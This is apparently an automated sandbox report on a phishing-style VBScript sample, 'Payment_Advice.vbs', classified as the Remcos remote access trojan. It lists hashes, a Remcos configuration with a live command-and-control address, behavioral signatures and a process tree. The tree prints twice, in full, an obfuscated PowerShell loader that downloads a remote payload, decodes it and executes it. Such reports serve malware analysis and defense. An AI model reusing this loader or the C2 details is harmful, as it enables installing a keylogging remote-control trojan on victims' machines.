Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
300s -
max time network
280s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09/12/2024, 07:01
Static task
static1
Behavioral task
behavioral1
Sample
Payment_Advice.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Payment_Advice.vbs
Resource
win10v2004-20241007-en
General
-
Target
Payment_Advice.vbs
-
Size
13KB
-
MD5
ad56c3f3ce8f6dca80b316067593e043
-
SHA1
12f6b1219e73b84f0fc1e0c27f056ac8b597e561
-
SHA256
0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41
-
SHA512
5e0420f48d4d5cf1ed208b43908abe6068f231dd16e4c2920fc7ec03f0d49f1c6ae97a2564df435fee4ef564adaac1fca5790585ab389165694ea67ec73be104
-
SSDEEP
192:IFt1G5TbO/OFPducb5dh+CxWBWFzyVGvDFJagA6a/AldmHOpmyb3YzesvWKnvnnx:Is5TQOFPp5OEWBWFbagASdc+T3tsFvnx
Malware Config
Extracted
remcos
RemoteHost
154.216.17.190:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-3W6OXK
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 5 IoCs
flow pid Process 5 604 powershell.exe 7 756 msiexec.exe 9 756 msiexec.exe 10 756 msiexec.exe 12 756 msiexec.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: WScript.exe -
pid Process 604 powershell.exe 2860 powershell.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 756 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2860 powershell.exe 756 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 604 powershell.exe 2860 powershell.exe 2860 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 604 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2096 wrote to memory of 604 2096 WScript.exe 32 PID 2096 wrote to memory of 604 2096 WScript.exe 32 PID 2096 wrote to memory of 604 2096 WScript.exe 32 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36 PID 2860 wrote to memory of 756 2860 powershell.exe 36
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Advice.vbs"1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"2⤵
- Blocklisted process makes network request
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:604
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:756
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
405KB
MD575256cb02edc22122cd7160ad5cd8384
SHA149819cf37b51113de6c659aae8f3d88235c77859
SHA256ff1e2b584c0bf9961fa6f4584618b1819fd6a34a17070a9d9d8db3063395bfb7
SHA5129639ca948d25186cabd6ee73e1df178b60c74e546e82a087c5b2947bacf6222410994e3427cf7744f897ff10c42353b6847917629d658ef388ca6a333e512461
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CXFE56CLYLG49XE4T05U.temp
Filesize7KB
MD5f48cdeae0cbbff23ceb37336e5890e45
SHA17636521b55e3377e0e80d41ab462f45c13ed510b
SHA2567446ab98cb9fd2ac0a42f40837ebf51d3215c8d20798d1df8129054d652d4167
SHA5120363f587f9719faf41049cb49dafed4d0da6496bf9d587196ea36dbcc12497cfcea4d689e9d8429ae8815952edaa378da921f7ed8591ffa9cc30fc1b251ddcd4